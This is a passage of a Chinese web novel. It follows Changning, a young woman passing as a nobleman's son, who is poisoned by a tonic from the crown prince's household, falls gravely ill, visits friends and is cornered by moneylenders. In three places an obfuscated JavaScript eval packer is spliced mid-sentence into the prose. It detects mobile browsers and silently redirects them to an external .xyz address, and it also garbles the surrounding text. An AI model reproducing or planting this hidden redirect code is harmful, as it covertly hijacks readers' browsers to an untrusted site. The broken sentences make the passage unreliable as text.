在常宁看来，以李稷的人品，自然不至于对她下毒。但平白闹腾一夜，常宁也把这账算在了李稷头上，怨气更上一层楼。 天微凉，已破晓，触目所及，除老松外，尽是枯枝衰草。 早膳还没送来，常宁和换房的侍卫打个招呼，要了些热水，兑上冷水浇花。 窗边一枝芍药开得正好，绿瓣白边，黄蕊淡扫。常宁每日一睁眼，望见这株芍药，如置仙境，心神舒畅。若芍药也能化形，必定是个温柔极了的仙人。 它本是养在暖房中，被挪到了常宁这里，只做数日观赏之用。常宁心喜，悉心呵护，也把它安安稳稳地养了许多时日，滋养得愈发水润。 每日来，常宁侍弄花草、温书强身，寂寞时还能隔着门和侍卫说话。他们大多不搭理她，但却是最好的听众，只要常宁不诋毁圣上和李稷，他们就永远不会反驳常宁。 且在这边，一应用品都有人精心照料。他们避着常宁，但常宁想要什么，一晃身在某个必经之地就能撞到。常宁算是体会到了天上掉馅饼的滋味。 这日，常宁盥洗过后，撑伞踩着松软的雪走到院门旁，正欲从门缝中瞧瞧外面都是哪些人，忽地两扇门从外向里打开。 常宁连连后退，险些被撞到鼻子。 一裹鸦青皮袄的留须男子进来，人近中年，精目扫过常宁，毫不客气，“平日做些什么？” 屋檐下那只绿鹦鹉扑棱着叫道：“来了，来了！” 常宁扬扬下巴，不搭理他。 那人便一弹衣袖，由着长随撑伞，步入院中几步，转眼就打量了个明白，“整日喂鸟养花，不知天地为何物，浑然无上进之志，我说得可对？” 常宁问：“你是谁，管我做什么？又不是我爹。” 那人朝皇宫拱手作揖，面带敬意，回看常宁时又隐藏得色，“我本前科进士，任翰林院庶吉士二载有余，本该铨选后听朝廷调度，岂知圣恩浩荡，委以重任，未经铨选便使我仿效圣臣，居于殿下左右，行则记事，语则记言，不时为殿下进言，帮殿下排忧解难。” 常宁对他如何地波澜起伏、得圣上赏识没兴趣，听了许久他自我吹捧的话，才知原来还是量身定制的官职，不由一笑，“我爹也是进士，还是探花，你公务之余，要不要来找我爹切磋？” 那人一拂衣袖，脸皮涨红：“好你个卑鄙小人，竟妄图拉拢本官！本官虽常随殿下左右，然面对威逼利诱，绝不低头。你这等不图上进、脑满肠肥、一无是处之杂人，岂能留在殿下身边？本官这就进言殿下，赶你出府！” 这和送常宁回家有什么区别？ 常宁心花怒放，忙低下头遮住神情，放闷了嗓音道：“大人说的是。” 那人本升上几分不自在，见了常宁棉花一般任他施为，方又升上怒火来，却被侍卫拦住。 “周大人，这位公子是殿下请来描四时风月的。如今四时连一时都不到，恐怕不好请他走。” 周大人怒发冲冠：“你爹可是探花，你却不求上进做画匠，真是丢尽了祖宗的脸。本官既食君禄，为君分忧乃是理所应当，这便就赶了你出府！” 常宁仿似才有些惧意，双肩轻颤，低着头不发一言。 直到被推搡着走出府去，常宁抬袖擦擦不存在的泪水，又失魂落魄地走出去好远，到车马行租上一辆马车后，这才倚在车壁上兀自开心。 英国公府，小厮守在门口，见一辆从未见过的马车在府前停下，方要上前察看，就见一道熟悉的身影打帘跳在地上。 “少爷你你你……你回来了？” 常宁嗯了一声，三步并作两步越过台阶，掩不下那份激越，“开门开门，我娘呢？” 她今天就要从正门进，去去晦气！不信两头石狮子还压不过区区霉运！ 小厮只是守门，哪里知道。 但常宁隐约能猜出几分，远远地到翠湖上，锦簇花团一般扑过去，搂住姜夫人脖颈，一声声亲热地唤着娘。 姜夫人得了信，不曾想常宁来得如此快，抚着常宁脊背顺气，喉咙里噎了千言万语，都化作一句：“怎么又瘦了？” 常宁撒开手，提着衣摆转了一圈，没心没肺地笑，“哪里瘦了？” 久别重逢，常宁从没有离开姜夫人这么久过，怎一个思念了得，黏着人含含糊糊地说些无厘头的话。一会儿标榜自个在外面呼风唤雨，一身可抵千万金，一会儿又说自己受委屈了。 姜夫人泪珠滚滚，“早知如此，我们当初便随你爹外调好了。” 英国公高中探花，又出身名门，翰林院观政三年后，便谋到了江州通判，姜夫人在京城的生意也有起势。庆和帝性情多疑，英国公深知庆和帝，若要高升，姜夫人必定受挫。不负誓言，英国公是弃了高升路子，日渐沉寂，连带着常宁都跟着有些混不吝。 不过他 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常宁耸肩，歪头一笑，“我爹娘的性子，和我有一拼。他们说要去哪里，做不得数的，到不了中途就会改主意，我也不知我会去哪儿。” “哦，我娘做生意除外。” 张侍玉道：“无妨，我届时到燕云台问一问。” “只怕你问不出来。燕云台虽然不是我的，但和我的也没差多少，”常宁略一沉吟，“算了，我去打个招呼，不用担心。” 张侍玉颔首，飞身而去。 书剑敲门，“少爷，送水。” 常宁这才发觉壶中茶水要冷了，“进。” 书剑满面红光，一面换水，一面笑眯眯看常宁，“少爷，你供在咱祠堂里的平安符，还要接着供吗？” 常宁险些忘了这茬。 那平安符已经供了数月，从皇觉寺回来后，常宁就供起了。平日常宁在家，睡前会去祠堂敬上一炷香。她不在家时，也留了人照料，日日香火不断。 “继续供着。往后都由你们来，我就不去了。明年正月初七时，再来叫我。” 用了李稷府上的补汤，常宁只觉全身暖烘烘的，任风霜雨雪，也察不出寒意，精气神也格外好，在榻上翻来覆去多时，这才睡下了。 回家第一天，看上去又没多大问题，常宁只想着明日招个郎中来看一看。 62. 坚持！ 天光大盛，书剑在常宁门外，轻轻敲了几下门，回转脸看向姜夫人，“夫人，少爷还没醒。” 姜夫人轻叹道：“半个时辰后我再来。若我没来，务必让小丫鬟叫她起来。白日贪睡，夜里可就睡不着了。” 她最清楚常宁的性子，是贪玩了些，但并不懒怠。寻常这时候，人早就起来温过书习过武，换身衣裳隔门叫姜夫人起床了。 定好了今日要再交代管事一些要点，姜夫人先行离去。 正与管事议事时，一个丫鬟面色沉凝走过来，附在姜夫人耳边抵语。 姜夫人大惊失色，“诸位，此事来日再谈。” 管事们何曾见过一张沉稳的东家色变，忙起身作揖送别，“东家先忙，我等不急。” 姜夫人心口堵着一口气，抄了近道往常宁院里去，抽空问道：“怎么一回事？” 丫鬟道：“少爷如何叫也叫不醒，书剑已经去寻府医了。” 姜夫人推门，坐在床沿。 常宁肤色莹白，眼眸紧闭，纤长眼睫搭着眼睑，呼吸匀称，俨然一副熟睡模样。 “宁宁，宁宁！” 姜夫人嗓音愈高，常宁却不见有丝毫反应。哪怕姜夫人摇晃常宁，常宁也只是身子歪了歪，没一分醒来的迹象。 情急之下，姜夫人捏住常宁鼻子。可直捏得姜夫人心下发慌，常宁别说挣扎着醒来，便是连张口换气都没有。 这等情形，姜夫人如何敢继续，忙不迭松了手，看着常宁仿若无知无觉的玉人一般静躺着，只觉心都要碎了。 常宁迷迷糊糊睁眼，眼皮重得很。按着绣褥半坐，还没坐好，就被姜夫人拥入馨香温暖的怀抱中，顺势懒洋洋地靠进去。 “娘，好闷啊。几时了？” 天光亮得常宁无法直视，这一晃眼，就瞧见英国公和府医也在，稀奇道：“爹，你今天不钓鱼了？” 英国公道：“都午时了，不急。” 府医从常宁脸上揪下来一根银针，“没觉着哪儿不对？” 常宁严肃：“饿了，算吗？”她试着动了动，皱眉，“有些使不上劲儿。” 府医道：“似是中毒，但我诊不出来。夫人，我只能施以针灸，稍作疏解。至于解毒，还需另请高明。” 夫妇二人脸色都沉了。 常宁一挥手，“哎呀，什么事，能睡是福。” 府医收拢医箱：“不如请空智大师来看一看。他游历四海，见过的疑难杂症不知凡几，兴许有些头绪。” 英国公亲自去请空智。姜夫人揽着常宁脑袋，提了提锦被，常宁顺手就压下了。 姜夫人嗔道：“你这孩子，冻着了如何是好？” 常宁指指唇瓣，唇已干裂，“我好热啊娘，好渴。被子压着，我难受。” 姜夫人拿过杯盏，挨到常宁唇边喂水。常宁小口抿着，并不解渴，接过杯子一饮而尽，还是无济于事。她索性拎起茶壶，对嘴浇进来。 水溅湿常宁下巴，姜夫人伸手握住壶柄，不让常宁牛饮。 喝不到水，常宁委屈：“娘。” 姜夫人道：“先换衣裳。” 常宁扯扯衣领，“好热。” 寒冬里，众人都嫌冷，独常宁一个嫌热。姜夫人对丫鬟道：“取她夏日的衣裳来，炭盆挪出去两个。” 轻薄的夏衫罩在身上，常宁依旧不舒服。姜夫人看来，常宁抿抿唇，一抹额角沁出的汗，“好些了。” 姜夫人心疼坏了。可这大冬天的，姜夫人又哪里敢让常宁受凉。 空智很快过来，凝神看常宁许久，闭眸把脉。再睁眼时，空智肃声道：“是千丝绕，极其歹毒，燃烧人的精血体魄，损耗人的寿命。我只听说过有些人会在临死前服用，以求回光返照。壮年服用，我亦不知状况如何。她应当用的不多。” 英国公问：“可有解药？” 空智摇头：“这秘药鲜少问世，我也只是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852607|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古籍上见过，只是那古籍是残本，配药上语焉不详。若是有残药，我来钻研一二，兴许有法子。” 他看夫妇二人一眼，“有些话要问二位，请随我来。” 待离常宁远些了，空智道：“希望不大，二位早做准备。” 姜夫人眼前一黑，英国公搀扶着她，眉心死死皱着，碍于在常宁院子附近，不敢动惊，红了眼眶，“还请……尽力。” 空智摆手：“这是自然。病中不宜心情郁结，还需妥善照料。” 言罢，他先回去，笑问常宁：“小施主，你可想起在哪里误服过这药了？” 常宁方才就在脑中过了一遍，“我曾经在殿下府上用过几次补汤，每次用完都浑身发热，但过上一夜就好了。只是前天晚上又用了一次，昨夜就开始长睡难醒。” 空智点头：“很好。这倒不是难事，我到府上，顺便就能查了。你好生休养，先让府医施针，待我交割了殿下那边的事，就过来专程为你医治。” 常宁自是感激的。但看空智转身欲走，忍不住唤道：“大师。” 空智转回来，寿眉微弯，“何事？” 常宁攥着绣褥，轻声道：“能不能不要将我的事告诉殿下。” 她这病不常见，只想留在爹娘身边，不愿意再将时光都耗在李稷那里。常宁亦知，李稷断然不会对她下毒，但她毕竟是替李稷挡了灾，焉知背后人不会再下毒手？ 常宁还不想爹娘白发人送黑发人。 空智颔首，不问缘由，便告别辞去了。 姜夫人施施然进来，拿帕子擦常宁额汗，柔声道：“宁宁，想不想去你外祖家？” 常宁眸中满是惊喜，“真的吗？我好久没见过表哥表妹了。” “当然，”姜夫人低首，掩下泪光，“你外祖父也来信，整日里念着你。” 常宁悄悄笑了笑，“娘，等我见过表姐和清河再走，好不好？” “都依你。” 63. 坚持！ 病就是病，令人难以捉摸。 初时常宁还浑身发热，过不上几天，却又从骨髓身处钻出冷意来，再热的炭盆、再厚的被袄，也没法让常宁停下哆嗦，背脊都直不起来。 常宁也愈发嗜睡。倒不是常宁贪睡，只是一睡下，连常宁都不知道何时能醒来。 空智已经在钻研叫醒常宁的法子。 常宁方好过一些，去刘府寻常瑛。才起了个劝人和离的话头，常瑛一句话还没说出来，常宁就噗地吐出一口血来，吓得常瑛险些当场和离。 刘长瀛防贼一样防着常宁，见状，眸光滴溜溜转。 常宁挑眉，“我是病了，不是废了，怎么着，你还想和我比划比划？” 刘长瀛嘴角一抽，倒了杯红枣蜜茶给常宁，“我哪儿敢呀，你可歇着吧。” 他要敢动手，别说常瑛了，他爹娘都得下场修理他。 没了常宁，刘长瀛偷着乐。尤其送走常宁时，他更是欢欣。 一回头，常瑛泪光点点，“我们和离吧。”她微垂了头，眼眶发红，“这是宁弟对我唯一的心愿了。” 常宁没走远，兼之耳聪目明，唰地转头，满目含笑，“才不是呢，姐姐。我就只想姐姐你开开心心的。” 刘长瀛：“……” 忍了。 英国公往德妃宫里面递了帖子，也上了辞官的奏章。他如今不过任一闲职，辞了官，爵位还在。 常宁估摸着，再过个三五日，她就能见到李稚。运气好些，也许还能再见姑母一面。 赵御医随英国公入内室，蹙眉道：“有事快说，我不能和你待太久。” 英国公执起赵御医的手，一叹，下拜道：“赵兄救我！” 赵御医疾言厉色：“你起来！你究竟做了什么？”他眼睛一眯，“难道你那独子没病？那你上书又是何意，嫌命长不成！” 英国公低声：“我膝下无子。” “那你这是……”赵御医眸光闪烁。他第一反应是老友绿得发慌，可英国公与夫人恩爱非常，对孩子也没得说。就在这电光火石之间，赵御医闪过个荒谬的念头。 “你知道什么是砍头的罪吗？” 英国公点头，“都知的。我与夫人一生只得一子，爱逾珍宝，恨不得将全副身家都留与她。只是天道无常，兴许我这爵位只够传到我，也是冥冥中自有注定。” “我问过空智，大抵是无望的。那孩子只去过京城和她外祖家，我和夫人不想她什么都没见过就……”英国公抬袖遮住面庞，哽咽道，“她时日不长，误不了你的。我这辈子，只求你这一次。” 赵御医叉腰踱来踱去，眉头就没松开过。听了英国公这话，步子一顿，“什么叫时日不长？我是那贪生怕死的人吗！起来说话，跪着像什么样！” 英国公缓缓站起，“济民，我会为你打点好的。” “嗤，我无儿无女，孑然一身，图你什么？”赵御医烦躁极了，低骂道：“欠你的！” 等见了常宁，赵御医就清楚，这确实不需要他瞒什么。他只要不刻意揭发就是。 辞别时，夫妇二人笑着送赵御医出门外。赵御医脑中却满是老友晚年孤苦无依的模样。 常宁白天睡太多，晚上就睡得很晚。才过了没几天，作息就紊乱地不成样子。为此，姜夫人要给常宁院里留两班人，一班白天，一班守夜。但常宁十多年的习惯改不了，缠着姜夫人把人撤了，只让常宁夜里醒来时叫人。 …… 晓风拂过，夜色嘿沉，更夫梆子声一层层荡开。 宫中宿卫执戟巡守，金甲灿灿。 李稷身着四爪蟒袍，俊美的脸庞上未曾流露出丝毫情绪。 提步跨过在他注视下冒出细汗的宿卫，李稷踏上前往坤宁宫的宫道。 从没有哪一刻，李稷这样地怀念前朝。 若是前朝，常宁便能做宿卫，朝夕相伴。他还能封常宁为郎将，无论是在太学还是在宫中、朝中，都不会分离。 常宁归家三日，却早将他抛之脑后，连一句话都不带给他。 可恨时机不对，不然他与常宁何至于此？ 坤宁宫中，皇后与三皇子正在说笑，氛围和乐。 李稷进来，皇后静了一瞬，随后漾起笑意，“怎么才来？最近身子可还康健？” “路上有事，”李稷道，“儿臣身强体壮，母后不必忧心。” 皇后上下看过，正欲说话，忽闻来报，庆和帝召李稷到大正殿。 再看只顾埋头用膳的三皇子，皇后无力摆手，对李稷道：“去吧。” 大正殿，皇帝今日难得上朝。但他平日里，即使不上朝，也会在卯时前起身修道。 皇帝颇为自得，自忖以他的道行，即便是国师也比不得。 素心捧一盏茶过来，恭敬奉上。 皇帝笑道：“稷儿，你也尝尝。这丫头煮的松露茶滋味最是醇正，国师都赞不绝口。” 李稷抿了一口，龙井和松针的口感叠次涌上喉头，放下不再用，“父皇唤儿臣来，有何要事？” 皇帝：“寻常庶务罢了。只一点，先前朕建接仙台的银子，迟迟凑不齐。一查方知，西北六郡，竟只上了一百万两。六个郡呐！” 李稷道：“他们忙着督办军务、防御外敌，一时拿不出来，也是情有可原。” 柳公公抱着浮尘进来，“陛下，赵御医在外面侯着了。” 李稷要告退，被皇帝按下，“你也听听。叫他进来。” 赵御医跪地行礼，受宠若惊地落座，半垂着眼皮，恭敬道：“陛下，常少爷的病，微臣已经瞧过，确实是世所罕见的疑难杂症。此症极难诊治，病人时常昏昏沉沉、身不由己，沉眠清醒都无定数。十之七八要备下后事。” 殿内向来寂静，赵御医一席话说完，抬眼正要请示，就见这对天家父子竟都微含了笑意，一时恍惚一瞬。 皇帝问：“这些天没少见他往外跑，听说容光焕发、慨然不惧风寒，有些士人瞧他颜色好，也学着穿那飘飘的夏衣踏雪赏梅。” 一抻衣袖，皇帝丹凤眼抬了抬， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880243|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “朕修道日久，才练出不惧寒暑的本领。他也不惧寒暑，怎么就成病入膏肓了？” 赵御医庆幸昨日细细同空智大师打探了这古怪的病，“人瞧着越是滋润，也就病得越重。这是折寿的禁药，有伤天和，若不压制，兴许用不上一年，人就会血魄燃尽而亡。” 柳公公观皇帝的神色，便知话问尽了，引着赵御医退下。 皇帝嗓音幽幽，盯视李稷：“朕老了，朕的臣子也老了，不然，朕何至于没个得手的人？那些鹤归西天的暂且不提，只说英国公，朕少时在伴读中，唯与他最要好。如今他也要因着儿子的病辞官了。” “旁人倒还好，就算人没了，也能祭祀不断。他活着，却眼见着日后要香火断绝。” 李稷道：“族里总会为他过继。” 皇帝饶有兴味：“你不担心你那小伴读？” 李稷一笑：“人各有命，孤会命人厚葬，全了情谊。” 皇帝轻拍李稷左肩，“许是上苍自有保佑，朕还未动手，却已经如愿。你年轻气盛，偶尔分不清利害，也是常有的事。朕都不在意。” “古来太子监国的不在少数，监军的却不多。但若监军，也无非是两个极端。” 皇帝也是从皇子熬上龙椅的，深知点到即可，在连枝宫灯的照耀下微微一笑，“毕竟是多年伴读，人不好了，你去探视，也在情理之中，免得人家说你不近人情。” 李稷退殿时，照旧是柳公公送出来的。 柳公公总一副小模样。能做御前的红人，手上自然不会多干净，但在宫人们口中，柳公公却是最和善爱笑的。 此刻，柳公公便也是抱着拂尘笑道：“殿下，老奴听闻，病容消减时分，那些品貌脱俗之人，有些是不愿意见客的。纵使见了客，或是病骨支离愁眉苦脸，或是病狂躁愠迁怒于人。常公子，陛下也是中意的，还需您多担待。” 李稷稍一联想常宁为病痛折磨的凄惨，便微皱了眉，“一个比孤还年少几分的人罢了，这些肚量，孤还是有的。” 柳公公道：“瞧老奴这张嘴。” …… 这日，常宁醒来时，日头还未升起，青竹帷幔内漆黑一片。 秋浓听得动静，先是轻柔地唤了几声少爷，听到常宁应声，托上烛台缓步进来，将各处渐次点亮。 等到了榻边，隔着数重轻纱也能望见常宁紧紧裹着锦被的身影，便知今日是冷症，自去樟木箱中取了丝绵祥云纹襕袍和狐裘来。 屋里陆陆续续进了炭盆，常宁呆呆地在榻上赖了一会儿，热气足了，便到屏风后去换衣裳。方才绕出来，就见秋浓手里抱着件蔽膝。 “这是做什么？我今日不出门的，吹不到风。” 秋浓摇头：“是夫人让备下的。今晨咱们府上门房还没醒，您从前的孟同窗就派人递了帖子，说是想约您一见。” 常宁轻轻吹出一口气。她原不想再见昔日旧友的，叫他们瞧见她病歪歪的，多没意思。可孟学洲递了帖子，常宁却又觉着这是最后一面，不见总心难安。 64. 坚持！ 孟府，孟尚书已经上值。常宁到时，只有孟学洲和孟娴兄妹两人。 进了暖阁，常宁还披着大氅，脸埋在白绒绒的兔毛里，揣着手炉，“找我做什么？” 孟学洲笑道：“上次说要请你给我妹妹指点琴艺，你来了一次就不肯再来，我少不得腆着脸再请你一次。”他有些诧异，“你不热么？” 暖阁里炭火足，地龙也旺。不过须臾，连孟娴四肢百骸都暖起来。 “不热。”常宁嗓音干哑，脸烧得通红，骨头缝里却还是冷的。书剑留意到了，忙帮着解了缨带摘下大氅，又从常宁手里抽走了手炉。 一时阁内几人都看着常宁。 常宁面无表情，“没见过人生病？” 兄妹两人心下一紧，“什么病？” 常宁偏头，“小病而已。” 书剑听了，忙道：“嗳呀少爷，这哪儿是什么小病，太医和空智大师都说了，再怎么仔细都不为过。” 常宁瞪书剑一眼。 书剑笑笑。他家少爷脾性刁钻古怪，不喜众人围着，上哪儿顶破了天带一两个人。还是夫人再三劝说，这出门才带了些护卫。只书剑一个人近身相随，常宁又是心大的，总有注意不到的时候。 便如今日，只怕他家少爷也察不出手炉的冷暖。就是炭漏了出来，将手灼伤一片，兴许少爷还嫌冷呢。 孟学洲蹙眉：“这病好生古怪。” “书剑，你这大漏勺。”既已瞒不住，常宁也就一五一十地将病候解释一遍，一边捧了瓷盏闷水。 “也是我倒霉，你们可得注意着些，千万不能被人喂了这毒药，”常宁摩挲下巴，微微仰了脸，“但我觉得也没那么严重。我现在除了不太舒服，也没别的问题了。” 孟学洲思索片刻，托言要去给常宁取一物过来。 书剑抱着常宁的氅衣和手炉，准备换些银炭。常宁就靠坐着听孟娴抚琴，时不时出声指点一二，乐得自在。 檀香袅袅，暖阁中热气扑面。常宁试着活动了下手腕，发觉没有来时那般僵硬滞涩，又拒了侍女，自个到窗边推开小窗，有些气短虚弱，但还不算太累。 悠悠琴音戛然而止。常宁倾身看窗外雪景，未曾回头，“怎么停了？” “儿倾慕公子已久，若公子不弃，愿以身相许。” 常宁噌地回头，正见孟娴盈盈下拜，下意识就要伸手去扶，又忙缩回手，快步换了个方位，“不敢当。姑娘快快请起。” “我身染重病，哪里好耽误姑娘，实在不是良缘。” 孟娴抬袖拭泪，“我对公子一见倾心，自知无福消受，只愿就这么看着公子就好，奈何我哥哥要将我许于旁人。我本以为今后再也无从面见公子，谁知竟还有些缘分。只要能留在公子身边，便是为婢为妾，我也是心甘情愿的。” 常宁只能看到孟娴的背影，见她泣涕涟涟，脊背都不住颤抖，暖阁里的侍女又都不知何时退了下去，宽慰道：“你不愿意成亲，我说与你哥哥就是。他平日里为人还是很宽和温厚的，想来只是不知情。” “宽和温厚？”孟娴攥紧帕子，落下泪来，“他若是这样，为何不愿意让我同我所爱之人在一起？” 常宁咳嗽一声，“我到外面透透气。” 这位孟姑娘口中的爱人，想必也不是常宁。常宁从孟姑娘身上，是看不到爱意的。换了李稷来，倒勉强有几分可信。 孟娴转过来，紧紧捉住常宁袍角，已是泪流满面，叩首道：“公子若不应我，我便在此长跪不起，往后青灯古佛，为公子祷福一生。” 常宁一时也挣脱不得，又被扯着衣袍，看孟娴砰砰砰磕得结实，忙就近拉了绣靠枕垫在孟娴额下，自个也跪坐下来，急得冷汗直冒，“姑娘啊，你看我，我不仅是个短命的，我还不洁身自好，外头孩子都一大堆了，使不得使不得。你要不中意你那未婚夫……” 感受到孟娴动作一顿，常宁桃花眸亮亮的，“不急不急，不是什么难办的事，我帮你。来来来，地上凉，起来说话。” 孟娴盯着常宁看了一瞬。 哥哥的这位好友，病容清减，却毫无郁气。说不上是出于什么缘由，孟娴忽然就吐露了那句深埋心底的话：“若我不想嫁人呢？” 常宁心塞，颇感委屈，“原来不是被我的人品才貌迷倒了，是看我命短啊。” 孟娴苦笑，“罢了，是我多言。我哥哥说的对，女子哪里有不嫁人的呢？” 常宁惊讶，“也不能这么说，我姨祖母和几个小姨就不嫁人啊。你父亲不管你的婚事吗？怎么是你哥哥来管。” “我父亲记不得我，只怕早以为我不在人世了，”孟娴眸光微亮，“你能再讲讲吗？我还想听。” 常宁道：“那是我外祖家了。我外祖家是江浙富商。别看现在身价巨万，我曾听我娘提起过，我们祖上十分贫寒，老祖宗孤儿寡母，提着胭脂沿街叫卖，这才开创出基业。族里孩子到十五岁时，就会得几间铺子，善自经营，若成亲则是族里添的彩头，不成亲则是安身立命的根本。” 常宁也有的，再加上爹娘和舅父。但常宁平日里太忙，无暇兼顾，不太上心。 孟娴理理裙摆，轻声道：“若我也生在你们家就好了。” 常宁兴高采烈：“为什么不能呢？咱们俩做结义兄妹，我爹娘就是你爹娘。” “我比你大上几个月，”孟娴抿唇一笑。常宁还未及冠，哪里做得了主。尽管如此，听了这话，孟娴心头的苦闷还是散了几分。 她托腮看着常宁，见常宁到案前磨墨提笔，不由问：“你在做什么？” 常宁垂首落墨，头也不抬，嗓音里压着雀跃，“这么大的事，我先写封信给爹娘看。爹还嫌弃我学业不好，我这就让他见识见识我的功底！” 孟娴提着裙摆起身，缓步踱至常宁身侧，看常宁下笔如飞，落下一个个潇洒自在的字。 直到常宁写完，偏头看孟娴，“你要写吗？” 孟娴摇头，“你这信还是不要给你爹娘看了。我的事，本就与你无关。” 常宁笑道：“不单是为了你。万一我真的很短命，你逢年过节看爹娘一眼，不让他们太冷清，我就是死也无憾了。” 孟娴道：“终究还是不一样的。” “没事啦，”常宁安慰道，“我爹娘很好的。我和清河从前买过你做的绢花，很是清奇。等你熟悉下来，一定能经营好铺子的。到时候你想走也没关系。” 隔着窗子，常宁远远望见孟学洲的身影，竖指在唇前，“你先别对你父兄提起，等妥当了，我来和他说。” 孟学洲皱着眉进来，不见丫鬟小厮，暖阁里只留下常宁和孟娴一站一坐地交流琴艺，打定主意等常宁走之后再问个清楚，笑道：“进展如何？” 常宁道：“孟姑娘进步神速，但我有些累，需得先回去了。” 孟学洲按着常宁坐下，将袖袋里的药方塞给常宁，“我家族谱上，有位先祖曾中过与你症状相似的毒，可惜寻医问药太晚，没能救回来。这是药方，我也不知是否有用，你拿去让空智大师掌掌眼。” “谢啦。”常宁收起来，禁不住拿眼打量孟学洲。 孟学洲只比常宁大上几个月，常宁实在没法将他和逼婚的大人联系起来，忙错开视线。 兄妹二人坚持要送常宁。常宁坐在马车里，要转过街角时，撩开车帘往回看，见他们兄妹还立在门前遥望，瞧着冷冷淡淡不大对付的样子。 常宁叹气。除了李稚，怎么个个都比她大。 好不容易出来一趟，常宁派了个侍卫回府送信，带着其余人等到茶楼里听书。 这一晃，竟撞见周盟主。 常宁笑问：“周盟主，你不回家过年？这都十一月了，眼看就要进腊月，再不回去可就来不及了。” 周盟主正温了黄酒，执壶给常宁倒了一小杯，招呼她坐下，“我孑然一身，还没见识过京城的年。” 常宁抿了一口，滋味不错，“你有朋友在这里吗？” 周盟主落寞道：“没什么要好的。” 热酒上头，常宁连用几杯，颊染薄红。书剑见了，睁着眼按住酒杯，死活不让常宁再喝。 常宁讪笑一声，转向周盟主，“你可以到我家来拜年啊。”她动作顿住，苦恼道，“嗳呀，我忘了，今年年关我也不在京城。” 周盟主笑道：“我听说了。你们到哪里去？我打个招呼，有困难就去找他们。你姐姐去么？” 常宁拧眉，扶额撑在桌上，“不知道。” 周盟主道：“我应当会在京城待很久。你们放心去，我会照应好你姐姐的。” 常宁眼睛一亮：“多谢，多谢！” 周盟主忍住揉一揉常宁头发的冲动，和蔼道:“天冷，家去吧。” 常宁满口应下，“我听完这一段就回去。” 说书人拍着板子，正在讲一出英雄少年惩恶扬善的戏码。常宁听过许多，但还是乐此不彼。她早已不是小孩子了，虽依旧没见识过传说中的江湖，可对这些刀光剑影已经不那么感兴趣。 但常宁喜欢说书人讲到快意处的眉飞色舞，每每见时，都宛如抛却所有烦恼，胸臆中自有沟壑。 等常宁预备回府时，抬头就对上书剑笑眯眯的脸。 “怎么了？” 书剑扶着常宁上马车，四顾一番，悄声道：“少爷，太子殿下递帖子要到府上看你，咱们夫人给拒了。拒了两次呢！” 常宁不住点头，乐道：“还是我娘懂我。” 书剑同仇敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897925|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忾，叫风透过车帷一吹，缩了缩脖子，“咱们不会被寻仇吧？” 常宁挥手，“放心，这点肚量，他还是有的。再说了，我生病还是他生病啊？要让也是他让我。” 车夫吁了一声，马车骤然停下。书剑掀帷，瞧见滚滚黑烟从酒楼里冒出，回道：“少爷，前面有家酒楼走水了。” 附近酒楼一家连着一家，时兴用松木营造房舍，若不能及时止住火势，烧掉半条街也是常有的事。 常宁道：“叫侍卫们都去救火。” “那我在这儿守着少爷，”书剑下了马车，交代了侍卫们，复又回头，见常宁也跳了下来，正扶着车轼眺望。 “少爷别担心，咱们人多，定能救下火的。” 前面着了火，许多人堵在路上，一时乱得紧，不是灰头土脸从火里跑出来的，就是提着水桶去救火的。 常宁取了伤药，俯身递给抹泪的小姑娘，又拿帕子轻轻擦去小姑娘脸上的烟灰，对书剑道：“你上回春堂叫几个大夫，也不知有没有人伤着。” 书剑犹豫：“少爷，我得守着你。” 常宁道：“这一小会儿不耽搁事，我还带着剑呢。酒楼里人多，年关又近了，可不能过不好年。” “少爷等我。”书剑拔腿跑得飞快。 常宁从荷包里倒了糖给小姑娘，看她小脸被风吹得通红，笑道：“车上有手炉，你去抱一个，再来这里等你爹娘。” 小姑娘羞赧：“我会弄脏马车的。” “怎么会呢？”常宁笑笑，也不好勉强她，便自己去拿。未曾想才绕到马车边缘，斜刺里伸出一只手来，转着常宁就往巷子里拖。 “老大，我就说这小子看着病歪歪的，还真没以前厉害了。” 被他称作老大的男人看了一眼，啐道：“叫他坏了咱们的生计，老天都要手他。好好的少爷不当，非要来踢哥几个的饭碗。” 常宁脑袋撞在了墙上，一时眼冒金星，抽剑划了拽她那人一剑，冷笑道：“放高利贷的生计吗？” 这死胡同里挤挤挨挨一二十个凶神恶煞的汉子，被戳了痛点，摩拳擦掌就要近前上手，被那老大挥手按下了，“你那个同窗，叫江晚照的，既入了你的眼，我们就放了他。你却上眼药让京里严查高利贷，找你的又岂止我们几个？因了你，这个年哥几个都过不好。大少爷，你说怎么办？” 常宁：“要财？” 